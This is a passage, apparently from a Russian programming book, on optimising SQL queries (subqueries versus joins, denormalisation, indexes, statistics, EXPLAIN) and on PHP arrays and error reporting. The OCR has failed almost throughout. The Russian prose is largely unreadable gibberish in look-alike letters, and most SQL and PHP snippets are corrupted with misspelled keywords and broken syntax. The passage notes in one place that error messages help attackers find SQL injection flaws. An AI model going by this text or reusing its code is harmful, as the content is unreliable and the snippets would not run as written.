Pacoraes’) s

B aTou cryuae Cephep BHNOTHIT 3ANPOC W3 CEKLMI FRO4. A B0 BENS CRRMIBAAS
PeayMLTAT © TabaHuCi PABOTHMKOR Mt FOTYM OKORNATERbHbH pesysTar. Takit
BpasoN, 413 KexLOft CTpOKI € HiipopMaLIEH 0 PAGOTHHKE He GYAET BMTOTHATECA MoA-
38Mpoc, H HAZOGHOCTH B LHKTE He OyZeT.

JlarHsie APHMEpE! CTVILIKOM MPOCTH H GIGrOAAPS OTITHMIGATOPY MOTYT BHITIOTHATLCA Ha
COBpENEHHOM CepBEpe OTHHAKOBO C TOHOCTHIO 20 MHKpOCEKyHab. Ho mp Gotee pas-
BETRIEHHON CTPYKTYPE H AOKHOM JANPOCE MOXHO CPABHHTS PAGOTY PEJHBIX 3aTpOSOB
W YBWACTS HAHGOJCE NIDEATIONTHTE b BAPHAKT 113 Onpenenentol CYBJL (Hanou-
Halo, 4TO asHbie Gashi JaHHbIX MOFYT OGPAGATHIBATS 3ATPOCH I0-PAHOMY).

B GonsummicTne ke Cryach kKb SELECT OTPHIATENSHO BTMACT Ha CKOPOCTS paGOTH,
TI03TOMY B MPEBUAYIIIEM MPHMEPE HYAHO HIGABHTEA OT HETO CICTYIOUIM OGP3ON:
setecr +

ERQH thPorson p, thStatus s
WHERE . idStatus-s. eyl

AND . shame=" Pacomaer®
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W palibepa, O MOTYT HMeTS pasibii Brewuli Bz TToITomy 3 He Gyzy OTBIEKaTECH
A KOHKPETHHIE CHHTAKCHYCCKHE TIPABWTA, WTOOH! HE COHTH BaC C TOAKY, & NPOCTO Gy
'HAJBIBATE TIEPEMEHHEIC HMEHEM parar, TE X — 970 A10GOE THCIO:

seiecr +

FROM TableNare

WHERE, Columniame-pazami

“Tenep, BHNOTHA 3ANPO, AOCTATONHO TONEKO NEPEATH CEPREPY THATEHHE TEPeNeH-
HOR paraml, H B OTOM CTYWaE ATPOCHH GYAYT BOCTDHHMMATHCA OTITHMHSATOPOM KIK
OZVHAKOBSIC, H LUK JATPT Ha NIOATOTOBHTENbHBIE STAMt He OYET.

By(ep U1a Xpachus TIAHOB BHTIOMHCHMA He GECKOREHEH, N0ITOMY B HEM XPIHATCA
MaHHLE TOTEKO © MOCTEHIK 3ANMPOCAX (KOTMYECTEO SaABHCHT OT paswepa Gyepa). Ecan
KKOH-TO 3AMPOC. BHMOTHACTCA IOCTATONHO 4ACTO, TO B HEM OGRIATETHO HYKHO He-
TIOTH20B2TS NepeMEHHIsE, IOTOMY O 3TO JHAUITENSHO TIOBHICHT MPOIBOMTENLHOCT.
TlonpoByiiTe ABWIbI BNOAKITS XU  TOT e JAMPOC H NOCMOTPETS Ha CKOPOCTS
Bmo/HEnIA. BTOPHHOE BHIMOTHEHHE GYACT HAMHOTO GHCTpee, “TO MOAHO JaMETHTS
ke wa 7.

M 3anpoc BHIMOTHAETCA GHCTPO, HO ONeHh PEKO, TO MOXHO He 0c0G0 oGpauaTs
Bvanmie W omTHMIIAWNO. KaK Ml YA HEM, HEIANCM ONTHNIIMPORATS TO, 5TO 1
TaK PAGOTAET GHETPO M BHIIOIHAETES PEIKO (IIAH BHTIOTHENHS He COXpANHTES B Gy be-
PE 10 CAEIYWOIIETO BHi30Ba). 3Ech HET Ca0OrO MecTa. Ho 3TO HE SHAUHT, HTO MOXHO
MrHOPHPOBATS OMTHMISALO. TIPOCTO HE CTOWT Ha. el 40CTPATS CMIIKOM GoTbioe
BHHMAHHE, TIOTOMY TO HpdeKT GYET MHHHMATHHEN.

a4, KOTOPHE BHITOTHAIOTCA HACTO, AOKIE! PAGOTATS MAKCHMATHHO GHCTpo. Jlake
€CH 3ATPOC IPOHCXOTHT ¢ MPHEMITENOH /LTA KIWERTa CKOPOCTBIO, THCAN TAKHX 3A1po-
OB COVIACT MOCTATOMHO GOTBIIYKO HATPY3KY Ha CEPBED, H OH CPAZY e CTAHET YIKHM
Mecrom s naumeit cherewe. TloTyMaETEs, HT0 HACTHIE 3ATPOCH! MOKHO BOCIpHHHNATS Kak
LUK C TOMKM 3PEHHA CEPBEPA, & MBI YK TOBOPHIH, 'TO LK CAM 110 CEGE ABIACTCA
cnan MecTm.

Conpenennbie Gai ZGHHBIX MOTYT MOATEpAWBATS nOTIaNpocs:. B 3ToM cryae npo-
IPAMMYCT HaSHHAIOT WM YT0YTIOTpEGATS. 1pH HaNHCANH 3apOCOB CTapaiiTech He-
TIOTH30BATH MHHHMATSHOE KOTHHECTBO ONEPATOPOB SELECT, 0COBCHHO BIOKEHHHX B
CeXIO WHERE. JL1% TIOBBILICHMA MIPOHIBOATEABHOCTH HHOTAQ XOPOLLIO TIOMOTACT BHIHOC
Hero SELECT B cexuwno wRc. Ho WHOTa GhiBaer 1 0GpaTHoe: GheTpee Gyet o~
WATBCA 321IPOC, B KOTOOM SELECT BHINECEH W) FRCH B TENO WHERE. JTO YAE JABHCHT OF
ONTMAIATOPa 3aTPOCO KowKpeTHOl CYBJL.
Jlomycriw, waw Hazo swGpaTh Beex Moaei W Ga aHHBIX, KoTOpHE paGoTaioT Ha
TIDCANPHATHH B TAHHHIH MOMENT. JUTA BCeX PACOTAIOUIAX B KOTOHKE Status CTABHTCH
Koz, KOTOpbiH MOXHO NIOTYUHTS H3 CTIPABONHMKA. cocToAHKH. TOCMOTPHM Ha nepBii
BapasT sanpoca:
seuscr +
FR04 threrson p
WHERE.p. tdstatu
(SELECT (Key1] FROW thtatus WHERS siame='PaCoraet*)
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Declare @id int

SELECT Gid=(id]
[Ep—
WHERE same='Paconaex’

seLect +
FROM tbPerson p
WHERE p. idStatus-eid

B 5TOM MpHMEpe Mt CHauAT OBABTAEM NepeMenHYIO 8id. 3aTew B Heit CoxpaTen
MaveHHe WACHTHDHKATOPA, @ NIOTOM YAC HIICM COOTBETCTBYIOUIME CTPOKH B Tabmitie
tbperson.

Kak BHINTE, OIIHY W Ty K€ 3184y MOXHO PEWNTS PasHAMH criocoGanw. Hexoropsie
peansauH GyAYT PAGOTATS C OTHHAKOBOH CKOPOCTHIO, @ Y APYTIRX MPOWSBOTITEb
HOCTS MOXET PASTHYATLCA B HECKOTEKO Pas.

KaK Mt yKe TOBOPHTH, TIDH HATHCAHHH TPOTPAMME! B! ZOTKHHI TIOTHOCTHIO M3YSHTE
cHeTemy, B KOTOpO MporpaMMHpYeTe. To Ae CaMOe CTIPABEILTHBO H AUIA 0a3 aHHb:
Bt Z0/AHE HETKO MPEICTARTATS CeBe CHTENY, B KOTOpOFi paboTacTe, ce peKMylIEeT-
Ba 1 HEZOCTATKH. HEBOIMOKHO MDELTOKMHTE YHHBEDCATHHHE METOT HATHCAHHA 3p-
dbeKTHBHOTO K028, KOTOpBIE PAGOTAH Gt ABCOTIOTHO Beae. HayuafiTe, SKCriepHMEHTH-
Py¥iTe, aHATHSHPYJTE,  TOTA BH CMOXETE C MAKCHMATHHEM SPEKTOM HCTOABI0BATS
AoCTyHE pecypesi.

4.3.2. OnTumusaums CYBA

ONTHMM3ALIR ZOMAHA HATHHATECA Cule Ha STane MPOEKTHPOBAHHS Gashi, ONeHs acTO
IPOrPAMMHCTS 30T MONAM PAIMEp ¢ GOTBuIM 3anacow. 51 cam Tak NOCTYT, Koria
IPOEKTHPOBET CBOW TIEpBHIE TAGTHITH Ga3ht AaHHX. TPYHO MPESCKATTS, AGHHHE Ka-
KOTO pasiepa GYIYT XpAHTLCH, @ eciii BHOPAHHOTO PAsMEpa NIOTH HE XBATHT, TO Mpo-
IPAMMA HE CMOKET COXPAHWTS HEOOXOTHMY0 CTPOKY.

B HEKOTOpIX Ga3aX AQHHI, €CTH He YKASATS PAIMEP TI01 JU1% XPAHEHHS CTPOKH, T0 OH
YCTAHARTMBACTCA B MAKCHMATOHO BOIMOAHOE JHaueHve WTH B 255. ITO HempocTHTEN:
HOE ACTONHTETHCTBO HCKOBOTO MPOCTPAHCTES, H G238 JAHHX CTAHOBHTCA HEOpaB-
Aaiwo Gosuiof. Uew Gorbue Ga3a aHHLIX, Te CAOKMCE ec OOPAGOTATS, HO CCa
YMCHBIIINTS cc PAIMEp, TO CEPBEp CMOXET MAKCHMATHHO GHICTPO JaTpY3HTS ARHHBIC B
TIGMATS 1 MPOWSBECTH TOHCK Ge3 OGPAUIEHYK K AeCTKOMY AcKy. Eci Gasa TarHbix e
TIOMEIACTCA B MANSTH, TO CEPBEPY MPHXOIHTCA JATPYAATS €€ 110 YACTAM, & B XyIUIeM
crysae — wenonwopath nawsrh daitna (14 OC Linux pasiena) nozkaskw, Koropsii
HAXOIHNTCA Ha THCKE W paGOTAET B HECKOTHKO Pa3 MEIVIEHHEE OTIEpATHBIOM NawaTH,

Xopoto, o ceffac CTA FIOMYPHSIM THN JGHHBX vazchas, KOTOpuiH pH XpakeHi
RaHHSDS HE DHAEAACT HKCHPOBAHHIH PIMEP AHHMIX B NANATH, & HCTIOTE3YCT W
CTOTHKO AGHHbIX, CKOTHKO HYAHO 1% XpaHewis Crpoks. HenomsayiiTe sror Tl fak-
HX, HO JUDKe B STOM CIYa He HYKHO BMUICIATS Ha BCC KOTOHKI NGKCHMATSHH pa-
Mep BOSMOHBIX 1aHHX. CyNMA PAIMEPOD KOTOHOK b HHIEKCE HEKOTOPHX 623 JGHHSIX
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B 2aHHOM CTyHa€ TaKoe OGhEIMHEHHE ABIACTCA CaMBIM IPOCTHIM H HATIPAILHBAETCA Ca-
MO coGo.

Moo noifTi AaTbiIe W HAHCATS eitte Goriee MPOCTOM 3P, C HCTIOTHIOBAHHEM JOT:

seLeer +
RO therson p

INER JOTN thStatus s OF p.idStatus=s.Keyl
WHERE stame="Patonact"

TlonoHsii ciTakeHe WanGoree POCTOR /U1 OMTHMHSATOPA 3apocos. TTo BOMOXHO-
T CTapaiiTech BEYIe HCTIOTH30BATS JOTN-OIEPETOPHL.

B Gonee CXHAIX TPAMEPAX MPOTPAMMHCTH O YACTO HE BHIAT BOIMOXHOCTH pe-
LeHHK 5A1314H OTHHN STIPOCON, XOTA 3TO pellekine cyecTayer. JlomycTHN, To Y Hac
ects Tabua A noAsNH

O code — woer GuTs 1 win 2;
O eirstiane — uus;
O Lastiane — dasmis

B 5Tl TalTHiIe XpaRHTCA CITHCOK COTpYRHMKOB. JI18 KIKIOTO COTPYHHKA €CTh BCET0
2B 3amHCH: ¢ KOMOM | 1 G K010M 0. 3AIHCH ¢ KOOM | MOTYT GHiTs Cossarsi ¢ TaGmue
Tnto, B KOTOpOM GYZET XPAHHTECA IOTHAS HHGOPMALIAR 0 CoTpyHMKe. Haw Hazo nony-
“HTh Bce 3aMMCH ¢ KOZOM 0, I8 KOTOPHIX CYUICCTBYET CB3b MEKIY TAGTALGMM A
W zno. TAKYI0 3124y PEILAIOT ABOIHM JATPOCOM:

seLect -
R Info 4,

(SELECT + FRQM A, Info WHERE a.Lastlame= info.LastNane)
WHERE Code=0
D . LastNane=s. LastNane

HO 3TOT MPHMEp MOAHO ELLHTS  Gorlee IPOCTHIM CrIOGOGON:

seeer 2.0
FROU Info i1, A, Info i2
WHERE 11.Code=1

AND §1.LastName=A. LastName
AND §1.LastName=i2. LastNane
AND $2.Code=0

3ech B 3AMPOce Mbi BB CCHIAEMCS Ha OIHY H TY XK€ TAGTHLY Tnfo H CTPOM CBASH
Info-A-Tnfo. Ha nepeil BIAL, CBY3h MOTYMAETCR CAOKHOM, HO D HATHWHH Npa-
BILIBHO HACTDOGHHBIX HHLIEKCOB STOT TIDHMEP GYJIET PAGOTATS B HECKOTEKO Pa3 GcTpee,
HEM G HCTIOTI0BaHHEM TIOIANPOCOB SELECT.

Moo pasiTs o sanpoe Ha Heckobko. Hanpiwep, s MS SQL Server mpeasizy-
L TPHMEp MOAET BHIIIETS CAEAYIOM 0GPasON:
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PaGoTa B AMTEHOM MPOWIBOTCTRE THKEAD A1A KeHiukH. Tereph JOMYCTHM, 4TO HaM
HysHo HaliTH Bcex eHulH. Ta Kak HX Mo, HaWG0Tee bexTBHbIM BapHarTOM Gy-
Z€T Henob30Banwe WieKca. Ho eci HyAHO HAWTH MYAUHH, TO XpdeKTHBHOCTS Hit-
exca nazact. KoTHuecTso BHOHpaEMBIX 3amceii CTHUIKOM BEIKO, 1 /1% KEKIOH 1)
X OGXOIWT A€PeBO HIZEKCA. I0BOTHHO HAKNALHO. HAMHOTO mpoile NpOCKaHWpORATS
BCIO TaGHILY OZH PA3, STO BHTIOTHHTER HAMHOTO GHICTPeE, TIOTOMY HTO CepBepy 10CTa-
TOUHO 110 OIHOMY Pasy TIPOUHTATS Bee THCTEA HIKHETO YPOBHA HHIEKCA, G¢3 HEOOXO-
AHNOCTH MHOOPAIOBOTO “TeHiHA BCex ypoBHeH

B Moc IPaKTHKe GHUIM CTYHaH, KOT1a IDHXOTIOCh OGHOBATS CTATHCTHKY Ha CepBEpE.
Tlocsie Gonbiio 3arpysKkM AGHHBIX Ha CepBep WHOTA MPHXOTHTCA BHIINIBATS KOMNIY
MS SQL Server updae statistics, 4105 CEPBED MO COGATS MAKCHMYM HEOOXOH-
MO HHGPOPMALUIH 114 NPABITLHOTO BLGOPa MYHUIETO IIGHA BHTIOHEHHS JANPOCOD.

4.3.3. BuI60opKa HEOGXOAMMELX AAHHBIX

Tiph paGore ¢ Gasawis AGHHSIX Mol PEryIAPHO THILIEM JAPOCH Ha BHOOPKY AanHstx. Ko-
THECTRO BHGHpACMBIX JHHbIX MOXET GHrTh et Gombummw. TIpocTofi npiviep — ro-
hexosas cuetena. TlonpoGyiTe Ha caiite yahoo.com WIK g00gle.com 5amyCTHTS MIOHCK
1o cromy "PHP". Me noWckopas cHcTema cooGutna, *To HaiieHo okoro 690
sanvceli, H MpH TOM Ha 0GPAGOTKY 3ANPOCA MOKAIOGHIOSE TONLKO 0,05 cexyna. B pe-
ATBHOCTH BHIOOPKA TAKHX IAHHbIX JULKE Ha CANOM GHICTPOM KOMTIBIOTEpE GYET poHc-
XouHTS Hawtoro. zonbie. TaK OTKYa e TaKas BHCOKas ckopocrs? Her, peuerve
AXOIUTCA HE B MOULHbIX KOMTIOTEDAX KOMTAHHH Z0Ogle.com, & b GHCTPBIX AIrOpHT-
MaX [TOHCKa H TIPABITLHOM TIOTOTE.

Jlomyerinw, T0 KA cTpOKa B Gase Aanmix Google anwvaer scero 100 Gaiir. B pe-
‘AIBHOCTH, KOHESHO e, PAIMEP CTPOKH HAMHOTO GOAbLLE, HO MbI OTPAHHUHMCA TAKHM
MATEHEKIM SHCION, €T BTOTHE XBATHT, WTOGH NIOPAIWTH Hae BoobpaKerne. Ech
YMHORHTS 4c10 100 Ha KOTHYECTBO CTPOK (690 WIK), TO NIOTYNHTCA, 4TO pesyHTaT
3anpoca Gyzer sannmars oxoo 64 [Gaiir. Jlwke ecii cepacp Gashi JaHHBX  CuieHaphii
HAXOLATCA Ha OTHOM KOMITHIOTEPE, NOTYSCHHE TakiX JQHHBIX 3aAMET HE O ZCCATOK
cekynz. A eci 970 pasisie ceppeph? [pH COBEPUIEHHO HE SAHATOM H CAMOM MOUHOM
KaWATC TIEPEKaNKa TAKOTO KOTHUECTBA AAHHBIX OT CePREPa G35l AAHHBIX 110 CEPBEPA CO
ClUEHApHEM OTHHMET ellle GOlle BpeMeHH

Kak ke Torza nonysaercs Takas Gonbuas ckopocrs? Hy, Google nokassisact mpuom-
TETLHOE SHAYEHHE PERYIVTATOR MOHEKa. S MHOTO Pas 3aMENA, 4T Je b TeX CIysa-
A%, Korza on noKasbiea1 1000 PEIyALTATOB, PEATHHO YAGBATOCh MPOHTHCS TOTHKO 1O
Nape A€CATKOR CTpANII peayTBTATOR.

OTOGPaATS MIOTH30BATETIO Beck PEIYBTAT TIOHCKa CAHUIKOM HAKIAZIO, T. K. HHKTO HE
3X0MET CKAMMBATS CTPaHMILY Pa3Mepow 64 [GailT, O3TOMY pesybTaT PasoHBAETES Ha
CTpamLs, Ha KAXAOR 1 KOTOpHIX OTOOPaKaETEA 0T 10 70 30 pesyabTaTon (3asHeHT o
‘IpOrpawMyHTa). HEXO1A H3 3TOR0, NOTYEHHE PE3y.ITATA MOXHO pasoHTh Ha 164 Tan

1. OnpezeanTs obiliee. KOTHMECTBO 3anice, YAOBICTHOPIOUUX KPHTEPUAM NOKCKA.
“Taxofi 3anpoc uueer Bua:
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veer onpezenenHAH T, KOTOpu Heb3a mpessiaTh. Y MS SQL Server Towno

Omospenento ¢ OMTHMIAEH JAMPOCOR Bt ZOAHH OITHMIHPOBATS H cay Gazy
AGHHBIX. ITO MOCTHIAETCA ¢ OMOILIHO BBEICHWA JONOTHHTEISHbX HHIEKCOB Ha 1073,
10 KOTOPBIM 4ACTO MPOMCXOHT BBiGOPKA AaHHbIX. HIIEKCH! MOFYT SHINMTENSHO YCKO-
PHTS TIOHCK, HO ¢ HIMH HYHO OGPAULITECA KKYPATHO, MOTOMY 4O CTHIIKOM GOTbUI0E
KOTHIECTBO HIICKCOB MOAET JAMEATHTS PAGOTY. Uailie BCEro JaMEIIEHHE MPOHCKOMHT
BO BPes A0GABIEHIR WIM YIQICHHA JATTHGEH, IOTOMY “TO TPEGYETCS BHECEHHE HaMeHe-
i B GOTBLIOE KOTHIECTBO HZEKCOB.

TIOGAE Bitece s HIMEHeHHi B HIIEKCH BBl JO;KH TIPOTECTHPOBATS CHCTEMY Ha Tpea-
MET POMSBOTHTEHOCTH. ECIH CKOPOCTS He YBETHYHAACK, TO YIBTHTE HHIEKS, HTO0E!
O He OTHIMAX pecypCHI, MOTOMY 0 0BABTEHHE CIAYIOUIEFO HIVIEKEA MOAET HE IpH-
HECTH AEAEMOTO HPEKTA H3-30 IPHCYTCTBIHR HEHCTIOTIYEMBIX HHIEKCOB, HEMPOWSBO-
MTENBHO paCXORYIOUUX pecype.

Eite o cnocoGom MoBsIeHs CKOPOCTH PaGOTs! 3aMPOCOR MOXET GhiTh denopa-
ausaus daneix. UT0 310 TaK0E? Y BAC MOKET GiTh HECKOTHKO CBASIHHbIX TAGAHIL.
B epROfi ) Hitx HEXOTHTCH (AMWTHA HENOBEKA, a B MATOR TOPOZ MpoHBaNHS. UTOGH
OIYUINTL B OTHOM 3ANPOCE 063 IHANCHIA, HY/KHO HABECTH CBAYE MEATY BECMI ITHMH
TAGIHLANMH, W IUIA CEPBEP TAKO HAMPOC MOKET GbITH CTMUIKOM CAOKHBM. B Takix
iy NaRX HaSBAHMHE FOPOT KOMHPYIOT B Ty e TAGTHLY, T HAXOLHTCA (GaMITIAS, # CBA35
CTAHOBHTCA HEYAHOM, KOHE4HO e, TIORBIACTCR H WSOHITONHOCTS JGHHEX — B ZBYX
TAGHUAX XPAHSTCA OTHH W Te e JQHHbIE, H b TAGTHIE ¢ (PaMHTHAMH BO MHOTHX CTPO-
Kax Gy/IeT NIOBTOpATE3 HA3BaNHE TOPOA, HO ITO OBHCHT CKOPOCTS OGPAGOTIGH H HiO-
A8 O SHAYHTENbHO.

HEAOCTATIOM ACHOpMATISLUM ABTACTCA W CAOKHOCTS NOIEpAKH Ak, ECTn B 0a-
HOM TAGIMUE WIMEHWIOCH SHAYEHIE, TO Bt JOTKHb OGHOBHTE COOTBETCTRYIOWE 3Ha-
HeHNA B AYTOf TaGAMuE. FIMEHHO IOSTOMY /UIA ACHOPMATHILUAH HCTIOTB3YIOT TOTHKO
7€ TI07, KOTOPHE HINEHAIOTEA PeKO. BAAT0, FOpOa Y HAC IEPEHMEHOBHIBAIOT HE KiX-
b1 7eHb, W HX CIMCOK 1ETKO COIPOBOAIATE ADKE BPYSHYHO, HO CClH CEPBEP TOMIED-
KHBAET TPHITEH, TO MOKHO BOMIORHNTS OTY 33y H Ha CEPBCP 03 AQHHIX.

HanGonee pacripoctpanenoli Gasofi nanmx 113 Web-npuiowenns amasercs MySQL,
JU% Hee ecTh O GBTOMATHECKHH METO OfITHMM3ALIH — OTEPATOP OFTTHIZE, KOTO-
DHIi MOKET IOBICHTS PAGOTY TAGAHU C MIOMOILILIO BHITOTHEHHS MPOQHIKTHYECKIX
AeHCTBAR, KOTOpHIE BKTIOUAIOT COPTHPOBKY HIICKCHBIX CTPAHMLL, OGHOBTEHNE CTaTH-
CTHKI, ONHCTKY YAGTEHHBIX CTDOK W T. 2. OTIEDATOP HMEET CTeYIOUIHH BH:

OPTIMIZE TABLE name

B KatecTBe NapaMETPa nane YKIKHT HVA TAGIHLLS, KOTOPA TPEGYET ONTHMHSALLIH.
JIAA TOO 410G BHGPATE MpABTHHbIH 1UIAH BHINOTHEHMA JATPOCa, COBPEMEHHBIE Cep-
Bep 63 JaHHbIX METOLYIOT CTATHCTIKY. ECTH Y BAC HE BKTIONCHO aBTOMETHNCEKOE
HCTIONBIOBHME CTATHCTHKH, TO % PEKOMEHIYRO CAEATS 570 cefidac.

tew Haw nowoker cratuerka? JIoMyCTHM, 4TO Y HAC €CTH CHCOK paGoTHMKOD THTEH-
HOTO texa. B TaKoli TaGAHLe, HabepHOe, 90% (€CTH He GOTEE) COCTABAT MYACHHAH, Bellh
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HH(OPMALIIO 0 3AMPOCAX, KOTOPAA TIOSBOTHT OTITHMHSATOPY BHGPATH AEHCTBHTENLHO
‘MpaBTBHBI  GHICTPBI MeToR BiiGopKH AaiHbrx. HO CTATHCTHKS MOXET 1 HaBpETS,
€CIH O YCTApEAa H HE COOTBETCTRYET PEATHHOMY COCTORHHIO AQHHEX, OSTOMY Ked-
TEABHO YMETh YTIDABTAT NOLICCCOM CO0pa HHGbOPMALLHK.

PACCMOTpEHITE METOTH OMTHMITIAINH PAGOTAIOT MPAKTHHECKI BO BCEX COBPEMEHHHIX
CYBI. Bortee TOHKYKO HaCTPOWKY HYAHO HAYHHATS TONBKO FIOGAE TOTO, KAK B YSHACTE,
KaK GHCTEMa W ONITHMISATOP OGPAATHBAIOT JAPOS, H HTO MOKHO CETATS J1A MO~
WS HpexTHBHOCTH.

B HEKOTOPHIX CHCTEMaX YNpaBteHws AamHsiNu (anphmep, MS SQL Server) ecrs crie-
LMATEHLIE YTTHTI, KOTOpHIE MIO3BOAIOT MPOAHATIHPOBATS BHIGPAHIBII OTANIISATO-
oM wian BhnoHerHs. B MS SQL Server MOAHO BHYQTsHO MPOKORTPOTHpOBATS Bce.
LIATH W MOTYHHTE TOAPOGHYIO HHOPMALLIO 10 K&KIOMy wary (pi. 4.1). TTpoananiom-
POBAB 3Ty MHQOPMALIIO, MOXHO MPHHATS TIPABILTHHOE PEUICHHE 110 TIOBBILIEHHIO NpOHS-
BOTTEIbHOCTH CepBEpa H CKOPOCTH BAITOTHEHHS 3aTPOCa.

g |
e

z
|

Puc. 4.1 Mpocworp rnaws ssnomewn 33npoca ¢ nowouo Query Anslyzer

Y MySQL Het y106HOro rpadiiecKoro uiTepelica (He cHiTas paspagoToK CTOpORHIX
IPOMSBOAHTENEH), HO KOMAH1A GHATHSA 3a1IPOCOB €CT, UT00HI YIHATS, Kak Gasa JaHHbIX
BBIOIHACT JAPOC, HEOGXOTAMO NIEPE ONEPATOPOM SELECT NOCTABHTS EXPLAIN, Ha-
npuvep:
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B TecTupyenof cHCTNe bce COOBINEHHS AOTKHS! BHBOIATLC Ha KPAK, HHANE Ha JTame
PaIpaGOTIGH B He YIHAETE O NOTEHLIHATEHOM OLIMOKE, H TPYIHO GYJIET TIOHSTS, HOvEmy
KO MpOrPAMME pAGOTAET He TaK, KaK Bbi IIGHHPOBATH,

Hros BicriowHTs OTOGpEKEHHE OmHGOK, B daiine php.ini HeoBxomMO HaiiT napameTp
exzor_reporting 1 HIMEHHT €10 SHAYEHHE HA E_ALL.

‘CooBIEHWA MOTYT MORBISTSCS H TPH CPABHEHHH AHCTA CO CTPOKOR. Ta, eci b Mpive-
Pe 2 pas0. 2.8, Te Mbi HATHCATH YHKIIO peine_mas (), AOGABHTS B HANATO ClICHAPWS
caexyiouyio komanzy:

exror_reporting (B_ALL)

W Teneph TIOBTOPHTS BHITIOTHERKE CLLEHaPY, TO B PESY.TLTATE Bt AOTKIH YBHIETS pe-
TYMpCRICHHE MpH CPABHEHMI THCA H CTPOKH:

Warning: Use of undefined constant sdf23 - assumed 'sdf23"

in var/www/html/l functions . php on line 25

QyHKIMA exzox_reporting YCTAHABTHBAET YPOBEHE OTOGPEXEHHA OUIHGOK. EC B K-
HECTBE NAPAMETPA YKENT E_ALL, TO GYIYT OTOGPAXATECA BCE NPEIYTPEXIEHNA
cooGeHv. UToGH OTKTIONHTS COOGUIEHHA B KOHKDETHOM CLEHApHMH, HYXHO HATTHCATS
BHaYATE CICIYIOULYI0 CTPOKY:

exror_reporting (E_ALL ~ (E_NOTICE + E_WARNING))

ECiH TPEGYETCA WIMEHHTS YPOBHT OTOGPEKEHH OIIKGOK [VIA BCErO CepBEpa, To CERY-
€1 OTpEARKTHpORATS OZHOWMeHHHH napaveTp B afine php.ni. B ITOM e dalie MOXHO
WalfTH BOIMOXHSE BAPHANTS! YpOBHEH

Eute pas Xoy ckasas, 4r0 b paGoTaiouteH Ha GOEBbIX CEPBEPAX CHCTENE HE JOTKHO
GHiTh HHKaKIX COOGULEHWH 06 OUIHGKEX TIOMS30BATENb CAlTa He AOKEH BHIET HHK-
KO c1yeGHoH HHpopMaH. ECTH TIpH TeCTHPORAHHM CToB Ha GE30MACHOCTS 3 06-
Hapy#tBa, 4O cuienapHy Gsunw nozBepens ommGKe SQL Injection (orza xakep o~
KT BHTOTHSTS Ha ceprepe SQL-3AMPOCk), TO COOGUIEHHS 06 OWHGKAX IHAMTENHHO
YIPOUIATH IOHCK yA3BHMOCTEN H OpeteesHe CTPYKTYPHI GaTht AaHHHIX.

Ecam bt MacTpowTH cricTeMy Ha oTOBpaxeHWe BCeX OWMGOK, HO MpH STOM XOTHTE,
*TOB OMpeaenCHHas YHKLUAR He OTOBPIKATA OLLIHGOK, TIEPE HMEHEM dYHKUNH Heol-
XomHMO NOCTaBHTS ciBo . HAMpHMEP, GyHKL print () B CTyuae HEWTaTHOR CHTY:
Wi OTOGPEWT COOGUIEHHE Ha SKPAHE, HO ECTH WATIHCATD Gprint (), TO OWMGKH He
Gyzer.

B caoeit cpeste paspaboTiH, r€ % MUY KOT H TECTHPYIO, A MPEATIONHTAN0 MOKATHBATH
Bce OMOKH W MpeIyMpexTeHHA. Moe THSHOE OTHOUICHHE K NPEIyTPERIEHHAM Hera-
THBHO. 51 He HETaK0 BHIETS KaKHE-THO MpEyTIPEXIEHHS, TIOTOMY WO HHOFAA Ok MO~
YT CIaTs, MpHHHOH MOTEHLATSHOR MPOGEM.

Kax Gyzere NOCTYTaTS 81, SABHCHT OT THWHBIX MPEATIONTENH, & MOR PEKOMEHIALIA —
HCTIDABIATS Bee, AaKe MPeIYMPERIEHHA.

HacKoKo 1110X0 0CTARTATS oTeHIMATHSE co0GuieHHs 06 ommGKax? He wory aath
OIHOSHANHOTO OTBETA, NOTOMY O Bee 3ABHCHT oT CHTYALIH. JIOMYCTHM, 4TO Y BAC €cTh
xox

Sresult = 100 / Svariable:
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B JGHHOM CTyiac epeMHHAR MACCHBA BHITAINT TaK e, Kak # 710633 Ipyras mepe-
Mervas. EA NPHCHIMBACTCA MACCH, COMMAHH (GyYHKLIEH axzay (), Y KOTOPOH B CKOG-
KAX TeEHCIEH! HEMEHTH MACCHBA. JTHM TEMEHTaM GYIYT MPHCBOEH! HHAEKCH,
asmas ¢ 0 102,

C IOMOUISO pywKIM axay () MOKHO CO3ABATS MaceH
i, Hampinep:

H C CHMBOTHHBIMM HHZEKCa-

Sgoods = array

> "mopr, M > Taes?, "ert = "carrot®)
(CoOTBETETaME HHLACKSA HIEHH IENHTA MACCHBA HYKHO TTHCATS CTELYIOLLIM OGPISON:

Tak KaKk WHAEKCH B MACCHBE MOTYT WATH HE 110 IOPIKY, TO HAM HEOOXOTHM CrIocos
‘COVAHMA UHKII2, B KOTOPOM MOKHO TPOCMOTPETS BCE MEMEHTH JLTA JTOr0 Mpoilte Bee-
1O HCTIONH30BATS LA £oxeac, KOTOPE Ml cule He 00CYAIATH:

foreach (array as (skey => | Svalue) {

oneparop:
'

BAoK (5key ~> 1 OGpANTEH KbaTPATHBNM CKOGKAMH, TIOTOMY O ABIRETCH HEO0A32-
Tenuitv. ECIi yKadaia MepeMentas Skey (WA TIpeNEHHOli MOKET GorTh Apyrn), TO
B Tec LWACIA EPE3 TY NEPENEHIYIO MOXHO IOTYHTS AOCTYN K HHIEKEY MEMEHTA.
Uepes niepeneHHYIO 5l MOAHO IOTYHT AOCTYT! K SHAHEHHO HIENCHTA MACCHBA.
PaccuorTpi AP, ® KOTOPOM BHIBOIATCA Ha JKPAH JHINCHIE HHIEKGOB W HEYEHNS
BeeX MemeNTOR MaccHa:
ach (sg00ds a3 $Ind => SVal) (

<pindex: $Ind BR>valve: SVel</p>");

JLna paGOT ¢ MACCHBANH B Halllew PACTIOPAEHHH AOCTATORHO MHOTO yHKUMH, HO Mbl
TI0Ka PACCMOTPH TOTSKO OZHY — cotnt (), Kak HaHGOEE MACTO eronB3yewyio. DyHK-
LM count () B KAMECTBE APANETDA HYAHO TIEPCIATS HMS MACCHER, 2 B KAWECTBE PETyTh-
TATa MBI IOTYH KOTHYECTBO SEMEHTOB MacckBa. Hanpiep:

echo(count (sg00ds) ) 1

2.11. O6pa6oTka owwubox

Bo BpeNH BHITOTHCHMA MPOTPaNME! HHOZA BOIHHKEIOT OLIWKH WIH TpEAYTpEAIEHIS
‘BBITOTHEHHS KaKIX-TO (pyHKLI. OZHAKO OWMGKH He BCETI CBA3ANB C IIOXHN KOZOM
IPOTPAMMHCTA, @ IPOCTO MIOTH30BATEb NIEPEILN TPOTPANME HEKOPPEKTHOE SHANEHH.
